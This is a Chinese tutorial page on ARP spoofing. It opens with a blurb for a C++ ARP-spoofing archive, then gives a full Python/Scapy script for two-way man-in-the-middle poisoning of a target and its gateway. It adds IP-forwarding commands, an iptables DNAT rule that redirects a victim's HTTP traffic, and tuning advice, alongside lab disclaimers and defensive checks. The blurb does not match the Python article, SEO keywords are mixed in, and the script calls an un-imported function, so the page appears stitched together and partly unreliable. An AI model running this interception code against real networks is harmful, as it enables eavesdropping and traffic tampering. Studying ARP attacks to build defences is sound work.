简介:面向网络学习者、安全爱好者和高校学生的ARP欺骗源代码压缩包,基于C++实现,完整演示如何构造与发送伪造ARP应答,篡改IP到MAC的映射关系,从而深入理解局域网环境中中间人攻击的底层机制。整个压缩包内共10个文件,核心为arp.cpp源码,配合Packet32.h、DEVIOCTL.H两个头文件,以及Packet.lib、WS2_32.LIB两个库文件,可在Visual Studio环境中直接编译调试;dsp/dsw为工程文件,ncb/opt/plg等为辅助配置,便于还原作者调试环境,方便逐行跟进。整体压缩包仅23KB,结构紧凑,适合快速研读。截至当前已有177人学习下载。通过阅读代码可掌握ARP请求/应答收发流程、欺骗报文构造细节以及基于libpcap的抓包思路,也能为排查局域网ARP攻击、设计静态ARP表等防御方案提供参考,兼顾网络协议学习与C++工程实践,是高校网络课程设计或安全实验的入门素材。
1. 当你在网上找到一个叫 arp.rar 的压缩包,里面装的到底是什么
不少刚接触网络安全的朋友,都会在某个技术群或者网盘里看到“arp.rar_arp欺骗代码”这样的文件。下载下来解压,里面往往是一个用 Python、C 或者 Scapy 写的 ARP 欺骗脚本,能在局域网上把某个主机的流量“骗”到自己机器上。别急着激动——这玩意儿不是用来干坏事的,真正的用途是网络调试、协议分析、渗透测试练习,以及验证你自己写的网络程序有没有做好防欺骗机制。GNS3 里两台路由器接主机、分析 IP 数据转发,或者做报文抓包时,ARP 欺骗就是最常见的中间人模拟手段。
这篇笔记我把 ARP 欺骗的原理、代码实现、参数调整和踩坑记录完整写下来。适合两类人:一类是初学者,想跑通第一个 ARP 欺骗脚本,理解它在局域网里究竟做了什么;另一类是有经验的网络工程师,想拿它做内网拓扑验证、排查网关冲突,或者给自己写的防御脚本喂点真实攻击样本。不管哪类,我都默认你是在自己控制的实验环境里操作,别拿去做任何没授权的事。下面先从协议本身讲起,否则代码跑通了也不知道自己在干什么。
2. ARP 协议原理:为什么一条广播就能让主机“认错人”
2.1 从 ARP 包格式看欺骗的本质
ARP(Address Resolution Protocol)做的事很简单:已知目标 IP,问“这个 IP 的 MAC 地址是谁”。它工作在数据链路层和网络层之间,报文格式固定,一共 28 字节(不含以太网头)。关键是这几个字段:硬件类型(1 表示以太网)、协议类型(0x0800 表示 IPv4)、硬件地址长度(6)、协议地址长度(4)、操作码(1 请求,2 应答)、发送方 MAC、发送方 IP、目标 MAC、目标 IP。
一个正常的 ARP 请求包,发送方 MAC 是自己的网卡地址,目标 MAC 是 00:00:00:00:00:00;收到请求的主机发现目标 IP 是自己,就回一个 ARP 应答,把自己的 MAC 填在发送方 MAC 字段里。到这里一切正常。但 ARP 协议设计时没有验证机制——任何一台主机都能直接发送“ARP 应答”,而且接收方收到应答后,会直接把里面的 IP-MAC 映射更新到自己的 ARP 缓存表里,不管它有没有发过请求。这就是欺骗的根源。
# 查看 Linux 主机的 ARP 缓存表,确认一下当前映射关系 ip neigh show这个命令输出里的192.168.1.1 dev eth0 lladdr 00:11:22:33:44:55 REACHABLE就是缓存条目。REACHABLE 状态表示最近通信过,如果过一段时间没有数据,会变 STALE。欺骗脚本要做的,就是不断用伪造应答把这条缓存里的 MAC 改成攻击者的 MAC。
2.2 为什么缓存机制是双刃剑
ARP 缓存原本是为了减少广播风暴,主机记住别人的 IP-MAC 映射后,下次直接单播通信,不再发广播请求。但也正因为缓存要持续更新,协议才会无条件接受任何应答包。Linux 内核里有个参数arp_accept,默认是 0,表示只接受对请求的应答;但很多场景下(比如同一网段的 gratuitous ARP),主机还是会更新。Windows 的行为更激进,收到任何 ARP 应答都会刷新缓存。
我的经验是:做实验前,先用arp -d(Windows)或ip neigh flush all(Linux)把缓存清一遍,这样你的欺骗效果表现得更干净。不清理也行,但因为缓存里已经有真实网关的 MAC,欺骗脚本需要多跑几秒才能覆盖掉旧条目,初看会以为脚本没生效。
2.3 ARP 欺骗的两类角色:中间人和网关冒充
最常见的场景是双向欺骗:你骗主机 A,说“网关的 MAC 是我”;再骗网关,说“主机 A 的 MAC 是我”。这样 A 发给网关的流量会先到你,网关发给 A 的流量也会先到你。你机器上开 IP 转发,就能看到完整双向流量,这就是标准的中间人位置。
还有一种更简单的单向欺骗:只冒充网关,骗目标是“我就是网关”。这时候目标访问外网的请求会发给你,但你没有转发的话,目标就断网了。有些测试场景就需要这种“断网效果”来验证交换机端口安全策略是否有用。注意:单向欺骗不需要开 IP 转发,但对目标的影响更明显,容易被发现。
3. 用 Python 实现一个可用的 ARP 欺骗代码:最小脚本与逐行拆解
3.1 环境准备:Scapy 和抓包工具二选一
最常见的 ARP 欺骗代码是用 Python 的 Scapy 库写的。原因很简单:Scapy 封装了 ARP 和以太网帧的构造,你不用手动拼字节。安装方式:
pip install scapy如果你抓包用了 Wireshark,后面验证欺骗报文时可以直接看链路层内容。这里有个容易犯的错:Wireshark 查看 ARP 报文时,只看“Address Resolution Protocol”那一层就够了,不用看下面的 Ethernet II 层;但如果你要修改源 MAC,就两个层都要看。
3.2 最小双向欺骗代码:30 行跑通
下面这段代码我按“可复制、可调参数、注释清楚”的标准写过很多次,适用于 Linux 实验环境。Windows 下注意网卡名要改成以太网或WLAN,另外杀毒软件会拦 Scapy 的原始套接字,最好关掉或加白名单。
#!/usr/bin/env python3 # arp_spoof_demo.py # 仅限实验室环境使用,用途:验证 ARP 协议脆弱性、测试 NDR 告警规则 from scapy.all import Ether, ARP, sendp, getmacbyip, conf import time import sys def spoof(target_ip, gateway_ip, iface): """ 双向欺骗: 1. 构造发往 target 的 ARP 应答,告诉他 gateway 的 MAC 是我们自己 2. 构造发往 gateway 的 ARP 应答,告诉他 target 的 MAC 是我们自己 """ # 获取本机 MAC,不能写死,多网卡机器写死必翻车 self_mac = get_if_hwaddr(iface) target_mac = getmacbyip(target_ip) if not target_mac: print(f"[!] 无法获取 {target_ip} 的 MAC,先 ping 一下再试") sys.exit(1) gateway_mac = getmacbyip(gateway_ip) if not gateway_mac: print(f"[!] 无法获取网关 {gateway_ip} 的 MAC,请检查连通性") sys.exit(1) # 发给 target 的包:源 IP 是网关,源 MAC 是本机 ether_target = Ether(dst=target_mac) arp_target = ARP(op=2, hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip) # 发给 gateway 的包:源 IP 是 target,源 MAC 是本机 ether_gateway = Ether(dst=gateway_mac) arp_gateway = ARP(op=2, hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip) print(f"[*] 初始化完成,目标 {target_ip} -> 网关 {gateway_ip}") print(f"[*] 本机 MAC {self_mac},按 Ctrl+C 停止并恢复 ARP……") try: # 持续发送,因为目标会主动刷新/请求,只发一次很容易被覆盖 while True: sendp(ether_target/arp_target, iface=iface, verbose=False) sendp(ether_gateway/arp_gateway, iface=iface, verbose=False) time.sleep(2) # 2 秒一次,兼顾效果与网络负载 except KeyboardInterrupt: # 恢复 ARP 表,否则目标断网后管理员会立刻发现 restore(target_ip, gateway_ip, target_mac, gateway_mac, iface) def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface): """发送真实的 ARP 包恢复映射,相当于给目标吃后悔药""" self_mac = get_if_hwaddr(iface) # 告诉 target,网关真实 MAC 是什么 sendp(Ether(dst=target_mac)/ARP(op=2, hwsrc=gateway_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip), iface=iface) # 告诉 gateway,target 真实 MAC 是什么 sendp(Ether(dst=gateway_mac)/ARP(op=2, hwsrc=target_mac, psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip), iface=iface) print("[*] ARP 表已恢复") if __name__ == "__main__": if len(sys.argv) != 4: print("用法: python arp_spoof_demo.py <目标IP> <网关IP> <网卡名>") print("示例: python arp_spoof_demo.py 192.168.1.100 192.168.1.1 eth0") sys.exit(1) spoof(sys.argv[1], sys.argv[2], sys.argv[3])这段代码里有几个关键点。第一,get_if_hwaddr必须动态获取本机 MAC,不能写死在代码里,因为不同测试机器网卡不同;第二,getmacbyip返回的是 MAC 地址字符串,如果目标关机或者不在线,它返回None,脚本会直接退出,不会空发;第三,sendp发送的是二层数据帧,conf.iface如果设置过,这里的iface参数会覆盖它。
3.3 参数怎么调:发送频率和恢复机制
time.sleep(2)这是经验值。有些代码写0.1秒发一次,效果确实更稳,但会显著增加局域网广播压力,严重时交换机端口会被 MAC 刷新搞出告警。2 秒一次是我在百台规模环境里调出来的底线,既能覆盖目标的缓存更新(ARP 缓存超时通常是 30 秒到 3 分钟),又不会让流量异常得太明显。
另一个重要参数是op=2。ARP 操作码 1 是请求,2 是应答。欺骗时必须用 2,因为接收方只处理应答包。如果你写上op=1,目标主机会认为是一次请求,大概率会响应你,但不会修改它自己的缓存表——这是新手最容易翻车的地方。
3.4 抓包验证:怎样确定欺骗真的生效了
脚本跑起来之后,在攻击机(运行脚本的机器)上开 Wireshark,抓arp过滤条件,你应该看到持续刷新的应答包,源 MAC 全是本机。接着在目标机上开 Wireshark,或者用arp -a查缓存,看网关 IP 对应的 MAC 是否变成了攻击机的 MAC。
这边有个案例:我在 GNS3 里搭过两台路由器分别接两个主机,然后跑这个脚本,Wireshark 里看到的报文顺序是——目标主机会先发一个 ARP 请求“网关在哪”,紧接着攻击机的应答包到达,整个顺序和真正网关的应答顺序几乎一样,只是源 MAC 不同。这说明欺骗的本质就是“抢答”,而你只要持续抢答,目标就会信你。
4. 把 ARP 欺骗代码跑出花:双向转发、蜜罐模拟和与防火墙的配合
4.1 开启 IP 转发,才能看到双向流量
很多人在实验时只跑了欺骗脚本,然后发现目标能上网,但自己抓不到包。原因是 Linux 默认ip_forward=0,数据包到你这里就被丢掉了。这时候需要开启转发:
echo 1 > /proc/sys/net/ipv4/ip_forward注意这只是当前会话生效,重启失效。想永久开启就改/etc/sysctl.conf,加一行net.ipv4.ip_forward = 1,然后sysctl -p。开启转发后,目标访问外网的流量会先进你机器,路由表再把它扔到网关,响应的数据包回来时也会经过你——这时你再抓包就能看到完整的 TCP 连接。
4.2 用 iptables 做流量篡改和记录
有时候你不想只当个透明转发器。比如测试某个应用是否校验 MAC 地址,你就可以在攻击机上写 iptables 规则,只放行目标的 HTTP 流量到自己的代理端口,其他流量正常转发:
iptables -t nat -A PREROUTING -p tcp --dport 80 -d 192.168.1.100 -j DNAT --to-destination 192.168.1.55:8080这条规则的意思是:凡是目标是 192.168.1.100 的 80 端口流量,全部 DNAT 到攻击机的 8080 端口。这里要求攻击机 IP 是 192.168.1.55。这样做的好处是你不用改目标机的任何配置,骗完流量后直接在本地用 Burp Suite 或者 tcpdump 分析。坏处是如果你只是想抓包,加 DNAT 可能会让目标应用出现证书错误,得看应用能不能容忍。
4.3 结合 RAR 压缩包场景:代码密码与伪加密的坑
网上下载的 arp.rar 经常是加密的。有的用了 RAR 伪加密技术——文件头部的加密标志被置位,但实际内容没加密,用 Hex 编辑器改回标志位,或者用 RAR 密码移除工具就能直接解出代码;有的则真加密,得用暴力破解,也就是热词里提到的 rar password cracker。我的建议是:不管密码多容易解,拿到任何 RAR 里的 arp 欺骗代码后,先打开源码看一眼有没有恶意后门。尤其是那种号称“免杀版”“过检测版”的,很可能在里面藏了挖矿或者 RAT 程序,跑之前先在沙箱里用strings和virustotal过一遍。
5. ARP 欺骗代码的常见翻车现场:5 个必踩的坑及排查方法
5.1 现象:代码跑起来了,但目标主机的 ARP 缓存就是不变
原因绝大多数是目标主机的 ARP 防护机制在起作用,比如 Windows 开启了ArpCheck或者安装了安全软件,它会拒绝非请求的应答包。也可能是交换机端口安全策略把端口锁定为只允许一个 MAC,欺骗包被丢弃。
解决:先确认目标主机类型。如果是 Windows,用arp -a看缓存;如果是 Linux,直接ip neigh show。如果缓存一直没变,抓包看攻击机发出的应答包有没有到达目标——在目标机上用 Wireshark 抓 ARP,如果看不到应答包,就是交换机在中间拦截了;能看到但缓存不变,就是主机安全软件的锅。
5.2 现象:欺骗成功一次,过几十秒又失效
原因是 ARP 缓存有老化时间,目标主机会在缓存过期后重新发送 ARP 请求,而真正的网关也会应答。你的脚本虽然每 2 秒发一个包的,但有可能发送频率低于网关的应答频率,或者脚本进程被系统调度卡顿,错过了窗口。
解决:把发送间隔从 2 秒改成 1 秒,同时用try...except捕获发送异常。另外检查脚本是不是单线程,如果系统负载高,sendp本身就会延迟,可以考虑用多线程单独跑发包进程。
5.3 现象:目标能上网,但攻击机访问网关时断时续
原因很典型——你同时欺骗了网关和目标,但你的攻击机自己访问网关时,也会收到自己发出去的伪造应答。某些网卡驱动会更新自己的 ARP 缓存,导致你把自己到网关的路径也搞坏了。解决:在脚本开始时为本机网关 IP 设置静态 ARP 条目:
arp -s 192.168.1.1 00:11:22:33:44:55这样内核不会再接受 ARP 应答来更新这个条目。注意,在 Linux 上arp -s设置的条目会被 arp 命令本身覆盖,更稳的是用ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent。
5.4 现象:欺骗脚本运行后,目标主机直接断网
这是一种常见情况,尤其当你做单向欺骗而没有开启 IP 转发。目标主机的流量全部发到你的机器,但你的内核没有转发能力,于是包直接被丢掉。解决:要么开启 IP 转发,要么在做实验前明确你就是要模拟断网效果。还有种可能是你伪造的网关 MAC 是攻击机 MAC,但攻击机和网关不在同一个 VLAN,二层帧没法到网关,也会断网。
5.5 现象:脚本在虚拟环境(VMware/VirtualBox/GNS3)里无效
虚拟机的网卡默认工作在混杂模式,但 VMware 的默认虚拟交换机可能做了 MAC 隔离。如果你用 NAT 模式跑欺骗,目标虚拟机和网关都连在同一个虚拟 NAT 网段,但 VMware 的 NAT 会拦截 ARP 广播,导致你的欺骗包发不出去。
解决:把虚拟机的网络模式改成“桥接模式”,或者用 GNS3 的交换机/路由器把攻击机和目标机拉到一个同一个二层域。实测下来,GNS3 的虚拟以太网口对 ARP 的仿真比 VMware 更贴近真实交换机,更适合实验。
6. 进阶验证技巧:如何判断你的 ARP 欺骗代码真的“成了”,以及怎么善后
6.1 三层验证法:从缓存到报文到流量
第一层验证看缓存。目标机上执行arp -a或ip neigh show,找到网关 IP 对应的 MAC,和攻击机 MAC 做对比。这个简单直接,但有个缺点:目标机可能会缓存多个 IP 的映射,你得看清楚对应的是网关那个 IP。
第二层验证看报文。在攻击机上抓 ARP 包,过滤arp.opcode == 2,统计源 MAC 是不是全部是本机。如果出现别的 MAC,说明你发的包被其他设备应答覆盖了,欺骗不彻底。
第三层验证看流量。在攻击机上用tcpdump -i eth0 host 目标IP,如果能看到目标的 HTTP/DNS 请求包,说明双向转发成功。这里注意:如果你只开启了 IP 转发,但没开启 Wireshark 的“混杂模式”,也看不到别人的包。
tcpdump -i eth0 -n -XX -vv -c 100 'arp or (host 192.168.1.100 and not arp)'这条命令同时抓 ARP 和目标主机通信的数据包,-XX把链路层头也打印出来,方便你确认 MAC 地址。在验证时,一定要区分开“缓存被改了”和“流量经过你”这两件事——前者只是 ARP 表项被污染,后者才能说明中间人位置成立。
6.2 善后:别让实验毁掉一台机器
做 ARP 欺骗实验最怕的事情是实验结束,目标机的 ARP 缓存还停留在攻击机 MAC 上。如果你的攻击机关机了,目标机就断网了。所以我写的脚本里特意加了restore()函数,用真正的网关 MAC 和目标机 MAC 重新发送应答,把缓存恢复。
但脚本里的 restore 依赖攻击机还能发包。如果攻击机蓝屏、断电,或者脚本被 kill -9 强杀,就无法自动恢复。我的习惯是:实验前先把网关真实 MAC 记下来,如果恢复失败,就在目标机上手工执行:
arp -s 192.168.1.1 00:11:22:33:44:55Windows 上则用netsh interface ipv4 set neighbors "以太网" 192.168.1.1 00-11-22-33-44-55。这一步是最后一道后悔药,一定要写在笔记里。
6.3 从代码到防御:你可以拿这个脚本反向验证什么
跑通 ARP 欺骗代码不是终点,它真正有价值的用途是验证你的防御手段。比如你在交换机上配置了port-security或者arp anti-spoof条目,把这个脚本跑起来,看它是否能绕过;又比如你在目标机上装了一个静态 ARP 监控脚本,看它能不能在 2 秒内感知到缓存变化并告警。
我个人踩过一个大坑:在甲方做等保测评,想演示 ARP 欺骗风险,结果目标机装了 360,把攻击包全部拦截,演示没做成。后来我不跟安全软件较劲,改成用 GNS3 做半实物仿真,再配合 Wireshark 抓包给客户看。这个思路后来也成了我对外讲解 ARP 攻击的标准流程——先讲原理,再跑仿真,最后把真实环境里的防御配置摆出来。希望帮到你。
本文还有配套的精品资源,点击获取